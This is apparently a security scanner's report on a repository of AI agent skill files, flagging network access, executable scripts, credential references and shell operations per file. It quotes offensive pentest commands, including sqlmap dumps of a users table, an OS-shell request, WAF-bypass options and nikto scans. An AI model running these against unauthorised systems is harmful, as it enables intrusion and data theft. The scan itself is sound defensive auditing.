  • Access to secretsline 371
    [Credential-related source omitted]
  • Network accessline 384
    response = requests.post(url, headers=headers, json=payload)
  • Access to secretsline 389
    [Credential-related source omitted]
  • Access to secretsline 393
    [Credential-related source omitted]
  • Network accessline 396
    response = requests.get(url, headers=headers)

skills/pci-compliance/SKILL.md

  • Access to secretsline 149
    [Credential-related source omitted]

skills/pdf-official/LICENSE.txt

  • Network accessline 6
    exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms
  • Network accessline 7
    Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms
  • Network accessline 8
    https://www.anthropic.com/legal/consumer-terms
  • Network accessline 9
    https://www.anthropic.com/legal/commercial-terms

skills/pdf-official/scripts/check_bounding_boxes.py

  • Executable scriptline 1
    Executable file

skills/pdf-official/scripts/check_bounding_boxes_test.py

  • Executable scriptline 1
    Executable file

skills/pdf-official/scripts/check_fillable_fields.py

  • Executable scriptline 1
    Executable file

skills/pdf-official/scripts/convert_pdf_to_images.py

  • Executable scriptline 1
    Executable file

skills/pdf-official/scripts/create_validation_image.py

  • Executable scriptline 1
    Executable file

skills/pdf-official/scripts/extract_form_field_info.py

  • Executable scriptline 1
    Executable file
  • Network accessline 31
    # "/Off" seems to always be the unchecked value, as suggested by             # https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448
  • Network accessline 32
    # https://opensource.adobe.com/dc-acrobat-sdk-docs/standards/pdfstandards/pdf/PDF32000_2008.pdf#page=448
  • Network accessline 79
    # Radio button options have a separate annotation for each choice;     # all choices have the same field name.     # See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html
  • Network accessline 81
    # See https://westhealth.github.io/exploring-fillable-forms-with-pdfrw.html

skills/pdf-official/scripts/fill_fillable_fields.py

  • Executable scriptline 1
    Executable file

skills/pdf-official/scripts/fill_pdf_form_with_annotations.py

  • Executable scriptline 1
    Executable file
  • Network accessline 77
    # Font size/color seems to not work reliably across viewers:         # https://github.com/py-pdf/pypdf/issues/2084
  • Network accessline 78
    # https://github.com/py-pdf/pypdf/issues/2084

skills/pentest-checklist/SKILL.md

  • Network accessline 113
    # Web vulnerability scan nikto -h http://TARGET
  • Network accessline 114
    nikto -h http://TARGET
  • Network accessline 129
    **Cloud Provider Policies:** - AWS: https://aws.amazon.com/security/penetration-testing/
  • Network accessline 130
    - AWS: https://aws.amazon.com/security/penetration-testing/
  • Network accessline 131
    - Azure: https://docs.microsoft.com/security/pentest
  • Network accessline 132
    - GCP: https://cloud.google.com/security/overview
  • Dangerous shell operationline 321
    sudo systemctl restart rsyslog
  • Dangerous shell operationline 322
    sudo systemctl restart auditd

skills/pentest-commands/SKILL.md

  • Network accessline 241
    # Basic scan nikto -h http://192.168.1.1
  • Network accessline 242
    nikto -h http://192.168.1.1
  • Network accessline 244
    # Comprehensive scan nikto -h http://192.168.1.1 -C all
  • Network accessline 245
    nikto -h http://192.168.1.1 -C all
  • Network accessline 247
    # Output to file nikto -h http://192.168.1.1 -output report.html
  • Network accessline 248
    nikto -h http://192.168.1.1 -output report.html
  • Network accessline 250
    # Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots
  • Network accessline 251
    nikto -h http://192.168.1.1 -Plugins robots
  • Network accessline 252
    nikto -h http://192.168.1.1 -Plugins shellshock
  • Network accessline 253
    nikto -h http://192.168.1.1 -Plugins heartbleed
  • Network accessline 254
    nikto -h http://192.168.1.1 -Plugins ssl
  • Network accessline 256
    # Export to Metasploit nikto -h http://192.168.1.1 -Format msf+
  • Network accessline 257
    nikto -h http://192.168.1.1 -Format msf+
  • Network accessline 259
    # Specific tuning nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
  • Network accessline 260
    nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
  • Network accessline 266
    # Basic injection test sqlmap -u "http://192.168.1.1/page?id=1"
  • Network accessline 267
    sqlmap -u "http://192.168.1.1/page?id=1"
  • Network accessline 269
    # Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs
  • Network accessline 270
    sqlmap -u "http://192.168.1.1/page?id=1" --dbs
  • Network accessline 272
    # Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
  • Network accessline 273
    sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
  • Network accessline 275
    # Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
  • Network accessline 276
    sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
  • Network accessline 278
    # OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
  • Network accessline 279
    sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
  • Network accessline 281
    # POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
  • Network accessline 282
    sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
  • Network accessline 284
    # Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
  • Network accessline 285
    sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
  • Network accessline 287
    # Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
  • Network accessline 288
    sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
  • Network accessline 290
    # Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
  • Network accessline 291
    sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
  • Network accessline 430
    nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs

skills/performance-profiling/SKILL.md

  • Broad permissionsline 1
    Read, Glob, Grep, Bash
  • Network accessline 17
    | Script | Purpose | Usage | |--------|---------|-------| | `scripts/lighthouse_audit.py` | Lighthouse performance audit | `python scripts/lighthouse_audit.py https://example.com` |
  • Network accessline 19
    | `scripts/lighthouse_audit.py` | Lighthouse performance audit | `python scripts/lighthouse_audit.py https://example.com` |

skills/performance-profiling/scripts/lighthouse_audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 4
    Script: lighthouse_audit.py Purpose: Run Lighthouse performance audit on a URL Usage: python lighthouse_audit.py https://example.com
  • Network accessline 5
    Purpose: Run Lighthouse performance audit on a URL Usage: python lighthouse_audit.py https://example.com Output: JSON with performance scores
  • Network accessline 6
    Usage: python lighthouse_audit.py https://example.com

skills/performance-testing-review-ai-review/SKILL.md

  • Network accessline 283
    const result = await db.execute(query, [username]);   `,   references: ["https://cwe.mitre.org/data/definitions/89.html"],
  • Network accessline 284
    `,   references: ["https://cwe.mitre.org/data/definitions/89.html"],   autoFixable: false, cwe: "CWE-89", cvss: 9.8, effort: "easy"
  • Network accessline 285
    references: ["https://cwe.mitre.org/data/definitions/89.html"],
  • Access to secretsline 313
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Access to secretsline 362
    [Credential-related source omitted]

skills/pipedrive-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/plaid-fintech/SKILL.md

  • Access to secretsline 14
    [Credential-related source omitted]

skills/plan-writing/SKILL.md

  • Network accessline 106
    |----------|----------| | "Verify the component works correctly" | "Run `npm run dev`, click button, see toast" | | "Test the API" | "curl localhost:3000/api/users returns 200" |
  • Network accessline 107
    | "Verify the component works correctly" | "Run `npm run dev`, click button, see toast" | | "Test the API" | "curl localhost:3000/api/users returns 200" | | "Check styles" | "Open browser, verify dark mode toggle works" |
  • Network accessline 108
    | "Test the API" | "curl localhost:3000/api/users returns 200" |

skills/planning-with-files/SKILL.md

skills/planning-with-files/reference.md

  • Network accessline 217
    Based on Manus's official context engineering documentation: https://manus.im/blog/Context-Engineering-for-AI-Agents-Lessons-from-Building-Manus
  • Network accessline 218
    https://manus.im/blog/Context-Engineering-for-AI-Agents-Lessons-from-Building-Manus

skills/planning-with-files/scripts/check-complete.sh

  • Executable scriptline 1
    #!/bin/bash

skills/planning-with-files/scripts/init-session.sh

  • Executable scriptline 1
    #!/bin/bash

skills/planning-with-files/templates/findings.md

  • Network accessline 67
    WHEN: Add as you discover useful resources.   EXAMPLE:     - Python argparse docs: https://docs.python.org/3/library/argparse.html
  • Network accessline 68
    EXAMPLE:     - Python argparse docs: https://docs.python.org/3/library/argparse.html     - Project structure: src/main.py, src/utils.py
  • Network accessline 69
    - Python argparse docs: https://docs.python.org/3/library/argparse.html

skills/playwright-skill/API_REFERENCE.md

  • Network accessline 56
    reporter: 'html',   use: {     baseURL: 'http://localhost:3000',
  • Network accessline 57
    use: {     baseURL: 'http://localhost:3000',     trace: 'on-first-retry',
  • Network accessline 58
    baseURL: 'http://localhost:3000',
  • Network accessline 69
    webServer: {     command: 'npm run start',     url: 'http://localhost:3000',
  • Network accessline 70
    command: 'npm run start',     url: 'http://localhost:3000',     reuseExistingServer: !process.env.CI,
  • Network accessline 71
    url: 'http://localhost:3000',
  • Network accessline 98
    // Navigate   await page.goto('https://example.com', {
  • Network accessline 99
    await page.goto('https://example.com', {
  • Network accessline 308
    // Page assertions await expect(page).toHaveTitle('My App'); await expect(page).toHaveURL('https://example.com/dashboard');
  • Network accessline 309
    await expect(page).toHaveTitle('My App'); await expect(page).toHaveURL('https://example.com/dashboard'); await expect(page).toHaveURL(/.*dashboard/);
  • Network accessline 310
    await expect(page).toHaveURL('https://example.com/dashboard');
  • Network accessline 498
    // Measure page load time const startTime = Date.now(); await page.goto('https://example.com');
  • Network accessline 499
    const startTime = Date.now(); await page.goto('https://example.com'); const loadTime = Date.now() - startTime;
  • Network accessline 500
    await page.goto('https://example.com');
  • Network accessline 642
    # Generate code npx playwright codegen https://example.com
  • Network accessline 643
    npx playwright codegen https://example.com
  • Network accessline 651
    - [Playwright Documentation](https://playwright.dev/docs/intro)
  • Network accessline 652
    - [API Reference](https://playwright.dev/docs/api/class-playwright)
  • Network accessline 653
    - [Best Practices](https://playwright.dev/docs/best-practices)

skills/playwright-skill/SKILL.md

  • Network accessline 71
    // Parameterized URL (detected or user-provided) const TARGET_URL = 'http://localhost:3001'; // <-- Auto-detected or from user
  • Network accessline 72
    const TARGET_URL = 'http://localhost:3001'; // <-- Auto-detected or from user
  • Network accessline 102
    const TARGET_URL = 'http://localhost:3001'; // Auto-detected
  • Network accessline 128
    const TARGET_URL = 'http://localhost:3001'; // Auto-detected
  • Network accessline 154
    const TARGET_URL = 'http://localhost:3001'; // Auto-detected
  • Network accessline 184
    await page.goto('http://localhost:3000');
  • Network accessline 219
    try {     await page.goto('http://localhost:3000', {
  • Network accessline 220
    await page.goto('http://localhost:3000', {
  • Network accessline 245
    const TARGET_URL = 'http://localhost:3001'; // Auto-detected
  • Network accessline 288
    const browser = await chromium.launch({ headless: false }); const page = await browser.newPage(); await page.goto('http://localhost:3001');
  • Network accessline 289
    const page = await browser.newPage(); await page.goto('http://localhost:3001'); await page.screenshot({ path: '/tmp/quick-screenshot.png', fullPage: true });
  • Network accessline 290
    await page.goto('http://localhost:3001');
  • Network accessline 422
    [Runs: detectDevServers()] [Output: Found server on port 3001] I found your dev server running on http://localhost:3001
  • Network accessline 424
    I found your dev server running on http://localhost:3001
  • Network accessline 436
    [Output: Found servers on ports 3000 and 3001] I found 2 dev servers. Which one should I test? - http://localhost:3000
  • Network accessline 437
    I found 2 dev servers. Which one should I test? - http://localhost:3000 - http://localhost:3001
  • Network accessline 438
    - http://localhost:3000
  • Network accessline 439
    - http://localhost:3001

skills/playwright-skill/lib/helpers.js

  • Executable scriptline 1
    Executable file
  • Network accessline 397
    }, (res) => {           if (res.statusCode < 500) {             detectedServers.push(`http://localhost:${port}`);
  • Network accessline 398
    if (res.statusCode < 500) {             detectedServers.push(`http://localhost:${port}`);             console.log(`  ✅ Found server on port ${port}`);
  • Network accessline 399
    detectedServers.push(`http://localhost:${port}`);

skills/playwright-skill/package.json

  • Executable scriptline 1
    Executable file

skills/playwright-skill/run.js

  • Executable scriptline 1
    #!/usr/bin/env node

skills/podcast-generation/SKILL.md

  • Network accessline 23
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 24
    AZURE_OPENAI_AUDIO_ENDPOINT=https://your-resource.cognitiveservices.azure.com
  • Access to secretsline 43
    [Credential-related source omitted]
  • Possible obfuscationline 68
    audio_chunks.append(base64.b64decode(event.delta))
  • Possible obfuscationline 84
    const bytes = atob(base64);

skills/posix-shell-pro/SKILL.md

  • Dangerous shell operationline 69
    - End option parsing with `--` and use `rm -rf -- "$dir"` for safety
  • Dangerous shell operationline 107
    - Use `--` to separate options from arguments: `rm -- "$file"`
  • Dangerous shell operationline 110
    - Use `trap` for cleanup: `trap 'rm -f "$tmpfile"' EXIT INT TERM`
  • Dangerous shell operationline 270
    - **Safe Temp Files**: `tmpfile=$(mktemp) || exit 1; trap 'rm -f "$tmpfile"' EXIT INT TERM`
  • Network accessline 295
    ### POSIX Standards & Specifications - [POSIX Shell Command Language](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html) - Official POSIX.1-2024 specification
  • Network accessline 296
    - [POSIX Shell Command Language](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html) - Official POSIX.1-2024 specification
  • Network accessline 297
    - [POSIX Utilities](https://pubs.opengroup.org/onlinepubs/9699919799/idx/utilities.html) - Complete list of POSIX-mandated utilities
  • Network accessline 298
    - [Autoconf Portable Shell Programming](https://www.gnu.org/software/autoconf/manual/autoconf.html#Portable-Shell) - Comprehensive portability guide from GNU
  • Network accessline 300
    ### Portability & Best Practices - [Rich's sh (POSIX shell) tricks](http://www.etalabs.net/sh_tricks.html) - Advanced POSIX shell techniques
  • Network accessline 301
    - [Rich's sh (POSIX shell) tricks](http://www.etalabs.net/sh_tricks.html) - Advanced POSIX shell techniques
  • Network accessline 302
    - [Suckless Shell Style Guide](https://suckless.org/coding_style/) - Minimalist POSIX sh patterns
  • Network accessline 303
    - [FreeBSD Porter's Handbook - Shell](https://docs.freebsd.org/en/books/porters-handbook/makefiles/#porting-shlibs) - BSD portability considerations
  • Network accessline 305
    ### Tools & Testing - [checkbashisms](https://manpages.debian.org/testing/devscripts/checkbashisms.1.en.html) - Detect bash-specific constructs
  • Network accessline 306
    - [checkbashisms](https://manpages.debian.org/testing/devscripts/checkbashisms.1.en.html) - Detect bash-specific constructs

skills/postgres-best-practices/AGENTS.md

  • Network accessline 107
    Reference: https://supabase.com/docs/guides/database/query-optimization
  • Network accessline 147
    Reference: https://www.postgresql.org/docs/current/indexes-types.html
  • Network accessline 186
    Reference: https://www.postgresql.org/docs/current/indexes-multicolumn.html
  • Network accessline 221
    Reference: https://www.postgresql.org/docs/current/indexes-index-only-scans.html
  • Network accessline 261
    Reference: https://www.postgresql.org/docs/current/indexes-partial.html
  • Network accessline 308
    Reference: https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-IDLE-IN-TRANSACTION-SESSION-TIMEOUT
  • Network accessline 347
    Reference: https://supabase.com/docs/guides/platform/performance#connection-management
  • Network accessline 385
    Reference: https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pooler
  • Network accessline 426
    Reference: https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pool-modes
  • Network accessline 481
    Reference: https://supabase.com/blog/postgres-roles-and-privileges
  • Network accessline 526
    Reference: https://supabase.com/docs/guides/database/postgres/row-level-security
  • Network accessline 574
    Reference: https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations
  • Network accessline 621
    Reference: https://www.postgresql.org/docs/current/datatype.html
  • Network accessline 675
    Reference: https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK
  • Network accessline 727
    Reference: https://www.postgresql.org/docs/current/ddl-partitioning.html
  • Network accessline 781
    - Avoid random UUIDs (v4) as primary keys on large tables (causes index   fragmentation) [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY)
  • Network accessline 783
    [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY)
  • Network accessline 833
    Reference: https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS
  • Network accessline 884
    Reference: https://www.postgresql.org/docs/current/tutorial-transactions.html
  • Network accessline 939
    Alternative: use a single statement to update atomically: Detect deadlocks in logs: [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS)
  • Network accessline 941
    [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS)
  • Network accessline 992
    Reference: https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS
  • Network accessline 1041
    Reference: https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE
  • Network accessline 1096
    Reference: https://www.postgresql.org/docs/current/sql-copy.html
  • Network accessline 1144
    Reference: https://supabase.com/docs/guides/database/query-optimization
  • Network accessline 1189
    Reference: https://supabase.com/docs/guides/database/pagination
  • Network accessline 1234
    Reference: https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT
  • Network accessline 1290
    Reference: https://supabase.com/docs/guides/database/extensions/pg_stat_statements
  • Network accessline 1340
    Reference: https://supabase.com/docs/guides/database/database-size#vacuum-operations
  • Network accessline 1380
    Reference: https://supabase.com/docs/guides/database/inspect
  • Network accessline 1430
    Reference: https://www.postgresql.org/docs/current/datatype-json.html#JSON-INDEXING
  • Network accessline 1480
    Reference: https://supabase.com/docs/guides/database/full-text-search
  • Network accessline 1486
    - https://www.postgresql.org/docs/current/
  • Network accessline 1487
    - https://supabase.com/docs
  • Network accessline 1488
    - https://wiki.postgresql.org/wiki/Performance_Optimization
  • Network accessline 1489
    - https://supabase.com/docs/guides/database/overview
  • Network accessline 1490
    - https://supabase.com/docs/guides/auth/row-level-security

skills/postgres-best-practices/metadata.json

  • Network accessline 5
    "abstract": "Comprehensive Postgres performance optimization guide for developers using Supabase and Postgres. Contains performance rules across 8 categories, prioritized by impact from critical (query performance, connection management) to
  • Network accessline 6
    "references": [ 		"https://www.postgresql.org/docs/current/", 		"https://supabase.com/docs",
  • Network accessline 7
    "https://www.postgresql.org/docs/current/",
  • Network accessline 8
    "https://supabase.com/docs",
  • Network accessline 9
    "https://wiki.postgresql.org/wiki/Performance_Optimization",
  • Network accessline 10
    "https://supabase.com/docs/guides/database/overview",
  • Network accessline 11
    "https://supabase.com/docs/guides/auth/row-level-security"

skills/postgres-best-practices/rules/_contributing.md

  • Network accessline 150
    Reference: [Postgres Indexes](https://www.postgresql.org/docs/current/indexes.html)
  • Network accessline 151
    [Postgres Indexes](https://www.postgresql.org/docs/current/indexes.html)

skills/postgres-best-practices/rules/_template.md

  • Network accessline 34
    Reference: [Postgres Docs](https://www.postgresql.org/docs/current/)

skills/postgres-best-practices/rules/advanced-full-text-search.md

  • Network accessline 55
    Reference: [Full Text Search](https://supabase.com/docs/guides/database/full-text-search)

skills/postgres-best-practices/rules/advanced-jsonb-indexing.md

  • Network accessline 49
    Reference: [JSONB Indexes](https://www.postgresql.org/docs/current/datatype-json.html#JSON-INDEXING)

skills/postgres-best-practices/rules/conn-idle-timeout.md

  • Network accessline 46
    Reference: [Connection Timeouts](https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-IDLE-IN-TRANSACTION-SESSION-TIMEOUT)

skills/postgres-best-practices/rules/conn-limits.md

  • Network accessline 44
    Reference: [Database Connections](https://supabase.com/docs/guides/platform/performance#connection-management)

skills/postgres-best-practices/rules/conn-pooling.md

  • Network accessline 41
    Reference: [Connection Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pooler)

skills/postgres-best-practices/rules/conn-prepared-statements.md

  • Network accessline 46
    Reference: [Prepared Statements with Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pool-modes)

skills/postgres-best-practices/rules/data-batch-inserts.md

  • Network accessline 54
    Reference: [COPY](https://www.postgresql.org/docs/current/sql-copy.html)

skills/postgres-best-practices/rules/data-n-plus-one.md

  • Network accessline 53
    Reference: [N+1 Query Problem](https://supabase.com/docs/guides/database/query-optimization)

skills/postgres-best-practices/rules/data-pagination.md

  • Network accessline 50
    Reference: [Pagination](https://supabase.com/docs/guides/database/pagination)

skills/postgres-best-practices/rules/data-upsert.md

  • Network accessline 50
    Reference: [INSERT ON CONFLICT](https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT)

skills/postgres-best-practices/rules/lock-advisory.md

  • Network accessline 56
    Reference: [Advisory Locks](https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS)

skills/postgres-best-practices/rules/lock-deadlock-prevention.md

  • Network accessline 67
    Reference: [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS)
  • Network accessline 68
    [Deadlocks](https://www.postgresql.org/docs/current/explicit-locking.html#LOCKING-DEADLOCKS)

skills/postgres-best-practices/rules/lock-short-transactions.md

  • Network accessline 50
    Reference: [Transaction Management](https://www.postgresql.org/docs/current/tutorial-transactions.html)

skills/postgres-best-practices/rules/lock-skip-locked.md

  • Network accessline 54
    Reference: [SELECT FOR UPDATE SKIP LOCKED](https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE)

skills/postgres-best-practices/rules/monitor-explain-analyze.md

  • Network accessline 45
    Reference: [EXPLAIN](https://supabase.com/docs/guides/database/inspect)

skills/postgres-best-practices/rules/monitor-pg-stat-statements.md

  • Network accessline 55
    Reference: [pg_stat_statements](https://supabase.com/docs/guides/database/extensions/pg_stat_statements)

skills/postgres-best-practices/rules/monitor-vacuum-analyze.md

  • Network accessline 55
    Reference: [VACUUM](https://supabase.com/docs/guides/database/database-size#vacuum-operations)

skills/postgres-best-practices/rules/query-composite-indexes.md

  • Network accessline 44
    Reference: [Multicolumn Indexes](https://www.postgresql.org/docs/current/indexes-multicolumn.html)

skills/postgres-best-practices/rules/query-covering-indexes.md

  • Network accessline 40
    Reference: [Index-Only Scans](https://www.postgresql.org/docs/current/indexes-index-only-scans.html)

skills/postgres-best-practices/rules/query-index-types.md

  • Network accessline 45
    Reference: [Index Types](https://www.postgresql.org/docs/current/indexes-types.html)

skills/postgres-best-practices/rules/query-missing-indexes.md

  • Network accessline 43
    Reference: [Query Optimization](https://supabase.com/docs/guides/database/query-optimization)

skills/postgres-best-practices/rules/query-partial-indexes.md

  • Network accessline 45
    Reference: [Partial Indexes](https://www.postgresql.org/docs/current/indexes-partial.html)

skills/postgres-best-practices/rules/schema-data-types.md

  • Network accessline 46
    Reference: [Data Types](https://www.postgresql.org/docs/current/datatype.html)

skills/postgres-best-practices/rules/schema-foreign-key-indexes.md

  • Network accessline 59
    Reference: [Foreign Keys](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK)

skills/postgres-best-practices/rules/schema-lowercase-identifiers.md

  • Network accessline 55
    Reference: [Identifiers and Key Words](https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS)

skills/postgres-best-practices/rules/schema-partitioning.md

  • Network accessline 55
    Reference: [Table Partitioning](https://www.postgresql.org/docs/current/ddl-partitioning.html)

skills/postgres-best-practices/rules/schema-primary-keys.md

  • Network accessline 60
    Reference: [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY)
  • Network accessline 61
    [Identity Columns](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-PARMS-GENERATED-IDENTITY)

skills/postgres-best-practices/rules/security-privileges.md

  • Network accessline 54
    Reference: [Roles and Privileges](https://supabase.com/blog/postgres-roles-and-privileges)

skills/postgres-best-practices/rules/security-rls-basics.md

  • Network accessline 50
    Reference: [Row Level Security](https://supabase.com/docs/guides/database/postgres/row-level-security)

skills/postgres-best-practices/rules/security-rls-performance.md

  • Network accessline 57
    Reference: [RLS Performance](https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations)

skills/posthog-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/postmark-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/postmortem-writing/SKILL.md

  • Network accessline 386
    - [Google SRE - Postmortem Culture](https://sre.google/sre-book/postmortem-culture/)
  • Network accessline 387
    - [Etsy's Blameless Postmortems](https://codeascraft.com/2012/05/22/blameless-postmortems/)
  • Network accessline 388
    - [PagerDuty Postmortem Guide](https://postmortems.pagerduty.com/)

skills/powershell-windows/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash

skills/pptx-official/LICENSE.txt

  • Network accessline 6
    exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms
  • Network accessline 7
    Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms
  • Network accessline 8
    https://www.anthropic.com/legal/consumer-terms
  • Network accessline 9
    https://www.anthropic.com/legal/commercial-terms

skills/pptx-official/SKILL.md

  • Dangerous shell operationline 484
    - **LibreOffice**: `sudo apt-get install libreoffice` (for PDF conversion)
  • Dangerous shell operationline 485
    - **Poppler**: `sudo apt-get install poppler-utils` (for pdftoppm to convert PDF to images)

skills/pptx-official/html2pptx.md

  • Network accessline 121
    async function createGradientBackground(filename) {   const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="562.5">
  • Network accessline 122
    const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="562.5">

skills/pptx-official/ooxml.md

  • Network accessline 235
    </p:xfrm>   <a:graphic>     <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table">
  • Network accessline 236
    <a:graphic>     <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table">       <a:tbl>
  • Network accessline 237
    <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/table">
  • Network accessline 321
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/>
  • Network accessline 322
    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/>
  • Network accessline 327
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/>
  • Network accessline 328
    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.png"/>

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/chart"
  • Network accessline 6
    xmlns:cdr="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 7
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 8
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chart"
  • Network accessline 9
    elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 11
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 13
    schemaLocation="dml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"     schemaLocation="dml-chartDrawing.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 15
    schemaLocation="dml-chartDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 16
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 6
